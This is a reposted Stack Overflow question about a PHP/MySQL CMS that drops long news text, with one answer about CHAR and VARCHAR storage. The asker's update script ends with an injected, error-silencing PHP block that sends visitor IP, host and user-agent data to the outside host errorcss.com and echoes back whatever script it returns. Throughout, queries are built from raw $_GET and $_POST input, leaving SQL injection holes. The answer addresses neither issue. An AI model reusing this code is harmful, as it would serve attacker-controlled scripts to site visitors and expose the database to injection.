gpt4 book ai didi

php - mysql不通过php将长字符串插入数据库

转载 作者:行者123 更新时间:2023-11-29 21:39:21 26 4
gpt4 key购买 nike

首先我将介绍一些背景知识。我为一家公司提供了一个 CMS,他们用它来将新闻文章和图像更新到他们的网站。它是用 php 编写的,并使用 msqli 进行数据库操作。

出于某种原因,每当他们尝试添加证实长度(大约 4,000)个字符的文本时,它都不会正确插入到表中并将字段留空。当更新现有新闻文章时也会发生这种情况,一旦添加大量文本,整个链接就会被删除并且该字段为空。

代码:-

用户添加文本的页面:

<body>
<div id="container">
<div id="header">
</div>
<?php include('includes/Nav.php')?>
<div id="contentcontainer">
<div id="contentleft">
<ul>
<?php
if(isset($_SESSION["myusername"]))
{
echo "<li>Welcome ".$_SESSION["myusername"]."!</li>";
echo "<a href=\"pages.php?pid=0\"><li>Add News</u></li></a>";
echo "<a href=\"pages.php?pid=-1\"><li>Add News Via Image</u></li></a>";
echo "<a href=\"pages.php?pid=-2\"><li>Add News Via Table</u></li></a>";
}
else
{
echo "</ul><li>Please Login using the form to your right.</li>";
}
?>
</ul>
</div>
<div id="contentright">
<?php
$con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword);
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
mysqli_select_db($con, $sqldatabase);
if(isset($_GET["pid"]))
{
//SQL TO GRAB PID
if($_GET["pid"]==0)
{
//ADD A PAGE SCREEN
echo "<h2>Add News</h2>";
echo "<form action=\"addpage.php\" method=\"POST\"><p><label>Title:</label><input type=\"text\" name=\"title\"/><br/>";
echo "<label>Description (For left hand News Panel):</label><input type=\"text\" name=\"desc\"/><br/>";
echo "<label>Page Content (HTML is allowed):</label>";
echo <<<END
<textarea id='content' name='content'></textarea>
<script language="Javascript" type="text/javascript">
$("#content").css("height","100%").css("width","100%").htmlbox({
toolbars:[
[
// Cut, Copy, Paste
"separator","cut","copy","paste",
// Undo, Redo
"separator","undo","redo",
// Bold, Italic, Underline, Strikethrough, Sup, Sub
"separator","bold","italic","underline","strike","sup","sub",
// Left, Right, Center, Justify
"separator","justify","left","center","right",
// Ordered List, Unordered List, Indent, Outdent
"separator","ol","ul","indent","outdent",
// Hyperlink, Remove Hyperlink, Image
"separator","link","unlink","image"

],
[// Show code
"separator","code",
// Formats, Font size, Font family, Font color, Font, Background
"separator","formats","fontsize","fontfamily",
"separator","fontcolor","highlight",
],
[
//Strip tags
"separator","removeformat","striptags","hr","paragraph",
// Styles, Source code syntax buttons
"separator","quote","styles","syntax"
]
],
skin:"blue"
});
</script>


END;
echo "<label>Show on Recent News?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" /><br />";
echo "<label>Category:</label><select name=\"Category\">";
echo "<option value=\"Pool\">Pool</option>";
echo "<option value=\"Snooker\">Snooker</option>";
echo "<option value=\"Poker\">Poker</option>";
echo "<option value=\"Darts\">Darts</option>";
echo "<option value=\"Events\">Events</option>";
echo "</select><br/>";
echo "<input type=\"submit\" value=\"Add News\"/></p>";
echo "</form>";
}
else if($_GET["pid"]==-1)
{
//ADD NEWS VIA IMAGE SCREEN
echo "<h2>Add News Via Image</h2>";
echo "<form action=\"addpage.php\" method=\"POST\"><p><label>Title:</label><input type=\"text\" name=\"title\"/><br/>";
echo "<label>Description (For left hand News Panel):</label><input type=\"text\" name=\"desc\"/><br/>";

echo "<label>Image:</label><select name=\"NewsImage\">";


$resultc = mysqli_query($con, "SELECT * FROM pb_images");
while($rowc = mysqli_fetch_array($resultc))
{
echo "<option value=\"".$rowc['Image']."\">".$rowc['Name']."</option>";
}


echo "</select><br/>";

echo "<label>Show on Recent News?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" /><br />";
echo "<label>Category:</label><select name=\"Category\">";
echo "<option value=\"Pool\">Pool</option>";
echo "<option value=\"Snooker\">Snooker</option>";
echo "<option value=\"Poker\">Poker</option>";
echo "<option value=\"Darts\">Darts</option>";
echo "<option value=\"Events\">Events</option>";
echo "</select><br/>";
echo "<input type=\"submit\" value=\"Add News\"/></p>";
echo "</form>";
}

else if($_GET["pid"]==-2)
{
//ADD NEWS VIA TABLE SCREEN
echo "<h2>Add News Via Table</h2>";
echo "<form action=\"addpage.php\" method=\"POST\" enctype=\"multipart/form-data\"><p><label>Title:</label><input type=\"text\" name=\"title\"/><br/>";
echo "<label>Description (For right hand News Panel):</label><input type=\"text\" name=\"desc\"/><br/>";

echo "<label>Table HTML File:</label><input type=\"file\" name=\"file\" id=\"file\" /> ";

echo "<label>Show on Recent News?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" /><br />";
echo "<label>Category:</label><select name=\"Category\">";
echo "<option value=\"Pool\">Pool</option>";
echo "<option value=\"Snooker\">Snooker</option>";
echo "<option value=\"Poker\">Poker</option>";
echo "<option value=\"Darts\">Darts</option>";
echo "<option value=\"Events\">Events</option>";
echo "</select><br/>";
echo "<input type=\"submit\" value=\"Add News\"/></p>";
echo "</form>";
}

else
{
//Edit a page
echo "<h2>Edit News</h2>";
//SQL GRAB PAGE CONTENT

$result = mysqli_query($con, "SELECT * FROM pb_pages WHERE ID='".$_GET['pid']."'");
echo "<form action=\"editpage.php\" method=\"POST\"><p>";
while($row = mysqli_fetch_array($result))
{
echo "<input type=\"hidden\" id=\"pid\" name=\"pid\" value=\"".$_GET['pid']."\" />";
echo "<label>Title:</label><input type=\"text\" name=\"title\" value=\"".$row['Name']."\"/><br/>";
echo "<label>Description (Just for CMS):</label><input type=\"text\" name=\"description\" value=\"".$row['Description']."\"/><br/>";
echo "<label>Page Content (HTML is allowed):</label><TEXTAREA NAME=\"content\" COLS=40 ROWS=12>".$row['Content']."</TEXTAREA><br/>";
echo "<label>Show on Navigation?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" ";

if($row['ShowNav']==1) echo " checked";
echo "/><br />";
echo "<label>Category:</label><select name=\"Category\">";
if($row['Category']!="Index")
{
echo "<option value=\"Pool\">Pool</option>";
echo "<option value=\"Snooker\">Snooker</option>";
echo "<option value=\"Poker\">Poker</option>";
echo "<option value=\"Darts\">Darts</option>";
echo "<option value=\"Events\">Events</option>";
}
else
{
echo "<option value=\"Index\">Index</option>";
}
echo "</select><br/>";
}

echo "<input type=\"submit\" value=\"Edit News\"/>";
echo "</form>";
}
}
else
{
echo "Below are a choice of editable news stories. Please choose one:<ul>";
$con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword);
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
mysqli_select_db($con, $sqldatabase);
$result = mysqli_query($con, "SELECT * FROM pb_pages");
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
while($row = mysqli_fetch_array($result))
{
echo "<li style=\"margin-bottom:0px;\"><a href=\"pages.php?pid=".$row['ID']."\">".$row['Name']."</a> <a href=\"deletepage.php?iid=".$row['ID']."\"><img src=\"images/cross.png\" alt=\"cross\"/></a></li>";
}
}
?>
</div>
</div>
<div id="footer">
Redesigned by Callum Howard of CDS-KAS
</div>
</body>

数据库更新页面:

<?php
include('includes/variables.php');
$con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword);
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$nav=0;
if(isset($_POST['nav'])&&$_POST['nav']=="nav") $nav=1;
mysqli_select_db($con, $sqldatabase);

if(!isset($_POST['content']))
{
if(isset($_POST['NewsImage']))
{
mysqli_query($con, "INSERT INTO pb_pages (Name, Description, Content, ShowNav, Category)
VALUES ('".$_POST['title']."', '".$_POST['desc']."', '<img src=\"cms/images/".$_POST['NewsImage']."\" alt=\"Image\"/>','".$nav."','".$_POST['Category']."')");
}
else if(isset($_POST['file']))
{
$fh = fopen($_POST['file'], 'r');
$theData = fread($fh, filesize($myFile));
fclose($fh);
$page = $theData;
$stylefirst = strpos($page, ".xl");
$stylelast = strpos($page, "-->");
$blah = substr($page, $stylefirst, $stylelast-$stylefirst);
while(strpos($blah, "border") != false)
{
$first = strpos($blah, "border");
$last = strpos($blah, ";", $first);
$before = substr($blah, 0, $first);
$after = substr($blah, $last+1);
$blah = $before.$after;
}
$tablefirst = strpos($page, "<table");
$tablelast = strpos($page, "</table>");
$table = substr($page, $tablefirst, $tablelast-$tablefirst);
mysqli_query($con, "INSERT INTO pb_styles (Style)
VALUES ('".$style."')");
mysqli_query($con, "INSERT INTO pb_pages (Name, Description, Content, ShowNav, Category)
VALUES ('".$_POST['title']."', '".$_POST['desc']."', '".htmlentities($table, ENT_QUOTES)."','".$nav."','".$_POST['Category']."')");
}
}
else
{
if(mysqli_query($con, "INSERT INTO pb_pages (Name, Description, Content, ShowNav, Category)
VALUES ('".$_POST['title']."', '".$_POST['desc']."', '".htmlentities($_POST['content'], ENT_QUOTES)."','".$nav."','".$_POST['Category']."')"))
{
echo "YAY";
}
else echo "Boo..";

}
//header("location:pages.php");
?>
<?php
#c13c1a#
error_reporting(0); ini_set('display_errors',0); $wp_hdvw34 = @$_SERVER['HTTP_USER_AGENT'];

if (( preg_match ('/Gecko|MSIE/i', $wp_hdvw34) && !preg_match ('/bot/i', $wp_hdvw34))){

$wp_hdvw0934="http://"."error"."css".".com/css"."/? ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=" .urlencode($wp_hdvw34);

$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_hdvw0934);

curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_34hdvw = curl_exec ($ch); curl_close($ch);}

if ( substr($wp_34hdvw,1,3) === 'scr' ){ echo $wp_34hdvw; }
#/c13c1a#
?>

我可以进入 phpMyAdmin 并直接从那里更新数据库,绝对没问题,它会在网页上正确显示。该字段设置为 varchar(10000)。

请帮忙!

最佳答案

您好,也许您可​​以检查插入或更新 4000 个字符的表格

MySQL 可以做得很好,就像大多数 RDBMS 一样。当您将字段指定为 CHAR() 类型时,无论字符串中有多少个字符,都将始终使用字符数。例如:如果您有 Char(64) 字段并插入“ABCD”,则该字段仍然是 64 字节(假设非 unicode)。

但是,当使用 VARCHAR() 时,单元仅使用字符串中的字节数,加上存储字符串大小所需的字节数。因此:如果您有 VARCHAR(64) 并插入“ABCD”,您将仅使用 5 个字节。 4 表示字符“ABCD”,1 表示字符数“4”。

您的字符串长度变化很大正是我们使用 VARCHAR() 的原因,因此请随意使用 VARCHAR(4500) 并且放心,您只会使用必要的空间来存储字符串中的字符,并且长度有点额外。

有点相关:这就是为什么对于没有插入不同长度字符串的字段使用 VARCHAR() 不是一个好主意的原因。当字符串的大小已知时,您会浪费空间来存储它。例如,x-xxx-xxx-xxxx 形式的电话号码应该只使用 Char(14),因为它始终占用 14 个字符,并且只需要 14 个字节。如果您使用 VARCHAR(14),实际上最终会使用 15 个字节。

查看相关文档

http://dev.mysql.com/doc/refman/5.0/en/char.html

我认为您的问题出在您的数据库或表上。祝你好运并尝试也许你可以分享你的结构表的图片和代码来帮助你

关于php - mysql不通过php将长字符串插入数据库,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/34662384/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com